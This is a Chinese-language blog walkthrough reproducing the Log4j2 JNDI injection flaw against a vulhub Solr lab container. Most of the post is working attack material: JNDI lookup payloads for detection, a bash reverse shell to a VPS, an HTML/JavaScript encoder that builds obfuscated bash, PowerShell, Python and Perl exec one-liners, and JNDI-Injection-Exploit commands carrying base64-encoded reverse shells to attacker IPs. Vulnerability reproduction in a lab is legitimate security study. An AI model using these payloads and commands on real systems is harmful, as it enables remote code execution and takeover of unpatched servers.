LOG4j2 漏洞复现

发布时间 2023-10-13 09:41:06作者: websec80

一、漏洞简介

1.漏洞原理

Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

2.漏洞详情

Apache Log4j 远程代码执行漏洞 严重程度: 严重
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞情况分析:Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

 

二、环境搭建

靶机:ubuntu 使用vulhub的环境

vps:ubuntu

攻击机:win10

三、漏洞测试

我们打开漏洞的环境

cat docker-compose.yml

cat docker-compose.yml 
version: '2'
services:
 solr:
   image: vulhub/solr:8.11.0
   ports:
    - "8983:8983"

 

docker-composer up -d

f6cf097301c2 vulhub/solr:8.11.0 "/opt/solr/bin/solr …" 53 minutes ago Up 53 minutes 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp log4j2_solr_1

 

 漏洞点在action参数

 

我们来验证一下是否存在log4j

payload:

${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
${jndi:ldap://xxxx.dnslog.cn/exp}

我这里采用ceyep平台来验证

 

 

 

三、反弹shell

既然存在漏洞,那么我们就开始准备来进行反弹shell
首先我们先写好反弹shell的命令

 
bash -i >& /dev/tcp/vps_ip/9999 0>&1

 

里面的vps_ip是你要反弹shell的主机ip,9999是要监听的端口。
如我这里用的是10.0.0.110,进行编码:

编码的站点如下:

 

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
 
    if (!taInput.value) taOutput.value = '';
  }
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>

  

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMjUwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.0.0.250"

将bash编码的复制,然后运行漏洞利用的jar文件:
下载地址:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

 

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzMvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.133"
-C是编码后的内容,-A是远程 rmi ldap的ip地址。
注意要先nc监听9999端口.